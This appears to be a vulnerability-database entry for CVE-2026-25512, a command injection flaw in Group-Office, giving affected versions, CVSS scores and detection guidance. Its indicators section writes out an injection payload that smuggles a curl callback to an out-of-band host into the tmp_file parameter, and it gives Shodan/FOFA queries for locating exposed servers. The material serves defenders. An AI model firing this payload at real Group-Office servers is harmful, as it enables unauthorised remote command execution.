CVE-2026-25512

published 2026-02-04

CVE-2026-25512: Group-Office is an enterprise customer relationship management and groupware tool. Prior to versions 6.8.150, 25.0.82, and 26.0.5, there is a remote code…

Priority P1 81 high 8.8 CVSS 3.1

AV N AC L PR L UI N S U C H I H A H

EXPLOIT

Group-Office is an enterprise customer relationship management and groupware tool. Prior to versions 6.8.150, 25.0.82, and 26.0.5, there is a remote code execution (RCE) vulnerability in Group-Office. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server. This issue has been patched in versions 6.8.150, 25.0.82, and 26.0.5.

Affected

6 ranges

Vendor	Product	Version range	Fixed in
group-office	group_office	< 6.8.150	6.8.150
group-office	group_office	>= 25.0.1 < 25.0.82	25.0.82
group-office	group_office	>= 26.0.1 < 26.0.5	26.0.5
intermesh	groupoffice	< 6.8.150	6.8.150
intermesh	groupoffice	< 25.0.82	25.0.82
intermesh	groupoffice	< 26.0.5	26.0.5

Detection & IOCs extracted from sources · hover to see the quote

url /index.php?r=email/message/tnefAttachmentFromTempFile↗

url /index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=dummy.dat;curl+{{interactsh-url}};%23&security_token={{security_token}}

command tmp_file=dummy.dat;curl+<oast-url>;#

• → Monitor HTTP GET requests to the endpoint `/index.php?r=email/message/tnefAttachmentFromTempFile` containing shell metacharacters (`;`, `|`, `&`, `%3B`, `%7C`, `%26`) in the `tmp_file` parameter, which indicates OS command injection attempts. ↗
• → The attack requires prior authentication; look for a login POST to `/index.php?r=core/auth/login` followed shortly by a GET to `tnefAttachmentFromTempFile` with a `security_token` parameter and injected shell commands in `tmp_file`.
• → Use Shodan query `title:"Group-Office"` or FOFA query `title="Group-Office"` to identify exposed Group-Office instances for proactive scanning.
• → Successful exploitation may trigger outbound DNS/HTTP callbacks (OAST); monitor for unexpected outbound connections from the web server process following requests to the vulnerable endpoint.
• → The exploit extracts a `security_token` from the login response body via regex `"security_token":"([^"]+)"` and reuses it; correlate login events with subsequent exploitation attempts using the same token.

• · Exploitation requires valid credentials (authenticated attacker); unauthenticated exploitation is not possible with this vulnerability alone. ↗
• · The fix applies `escapeshellarg()` to sanitize the `tmp_file` parameter before passing it to `exec()`; patched versions 6.8.150, 25.0.82, and 26.0.5 are not vulnerable.

CVSS provenance

nvd v3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvd v4.0 9.4 CRITICAL CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

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